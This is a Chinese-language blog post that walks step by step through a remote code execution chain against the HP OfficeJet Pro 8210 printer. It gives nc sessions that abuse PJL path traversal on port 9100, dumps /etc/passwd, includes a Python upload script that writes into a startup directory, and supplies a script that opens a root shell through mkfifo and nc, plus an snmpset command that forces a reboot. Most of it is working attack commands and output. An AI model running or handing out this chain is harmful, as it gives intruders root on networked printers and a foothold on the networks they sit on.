AD

hp_OfficeJet8210_RCE详细解析

探测

通过对打印机进行端口探测,发现如下端口:
PORT      STATE SERVICE    VERSION
80/tcp    open  http       HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
443/tcp   open  ssl/https  HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
515/tcp   open  printer
631/tcp   open  ssl/ipp    HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
8080/tcp  open  http-proxy HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
9100/tcp  open  jetdirect?
其中,80,443,8080 端口为HTTP服务,515端口为LPD服务(用于假脱机打印工作的UNIX后台程序(后台服务)。是一个安装在UNIX打印服务器上的后台程序。它的功能是等待接受客户使用行式打印机远程(LPR)协议传来的打印工作)
631端口为IPP服务(互联网打印协议,用户可以通过互联网进行远程打印及远程管理打印工作。用户可以通过相关界面来控制打印品所使用的纸张种类、分辨率等各种参数。)
9100端口上,存在一个jetdirect? 的服务,是HP专有的一个协议,该协议支持原始字符打印,也被称为JetDirect, AppSocket ,PDL-datastream。其实该协议并不是一个打印机协议,通过该协议发送的数据,均由打印机设备直接处理,然后将状态、错误信息等直接返回给客户。通过该协议,可以直接获取到执行PJLPostScriptPCL命令的结果。

例如,通过9100端口,使用PIL获取打印机信息
nc 192.168.1.159 9100
@PJL INFO ID
@PJL INFO ID
"HP OfficeJet Pro 8210"

测试

曾有研究人员在PIL中发现了目录传送漏洞,如下:
nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/" ENTR
tmp/ TYPE=DIR
csr_misc/ TYPE=DIR
尝试利用目录传送漏洞:
nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1
rw/ TYPE=DIR
ram/ TYPE=DIR
rom/ TYPE=DIR
.sig/ TYPE=DIR
HP更新后,../../将返回FILEERROR,但可以利用../../bin进行目录传送
nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../"
FILEERROR=0
 
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1
getopt TYPE=FILE SIZE=880020
setarch TYPE=FILE SIZE=880020
dd TYPE=FILE SIZE=880020
cp TYPE=FILE SIZE=880020

要实现RCE,必须了解其他几个命令:FSQUERY, FSUPLOAD, FSDOWNLOAD。利用这三个命令,可以对打印机目录进行读写操作。
例如,利用FSQUERY FSUPLOAD,获取/etc/passwd内容
@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648
@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648
root:x:0:0:root:/var/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
ftp:x:83:83:ftp:/home/ftp:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
default:x:1000:1000:Default non-root user:/home/default:/bin/sh
 _ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false

写入文件

随后,研究人员发现0:/../../rw/var/etc/profile.d/为可读可写,并且该目录下可能为打印机启动时执行的脚本。
nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
 
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1<
.sig/ TYPE=DIR
验证是否真的可写:
import socket
import sys
 
test = ('test')
 
if len(sys.argv) != 3:
    print '\nUsage:upload.py [ip] [port]\n'
    sys.exit()
 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
 
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="0:/../../rw/var/etc/profile.d/writing_test"\r\n
dir_query += test
dir_query += '\x1b%-12345X'
sock.sendall(dir_query)
sock.close()
查看是否存在
nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
writing_test TYPE=FILE SIZE=4

执行文件

在解决写入脚本的问题后,需要解决脚本被执行问题。可以通过让打印机重启来执行写入的脚本。脚本的内容为在1270端口开启一个root shell的监听:
if [ ! -p /tmp/pwned ]; then
    mkfifo /tmp/pwned
    cat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &
fi

方法1

可以通过打印机web控制中的“电源循环”功能重启。

方法2

可以利用snmp协议,使用MIB调用“电源循环”功能
snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4 iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4
                                                                                                                           

tips:确定受影响的版本

受影响版本:
TESPDLPP1N001.1617C.00
2016-04-28

REF:

https://www.tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution?utm_content=buffera9fa6&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer



评论

  1. Can you share the firmware TESPDLPP1N001.1617C.00?

    回复删除

发表评论

此博客中的热门博文

简单粗暴导出小米便签

我——终于一个人了

Ubiquiti_Networks_UniFi_Cloud_Key_authed_rce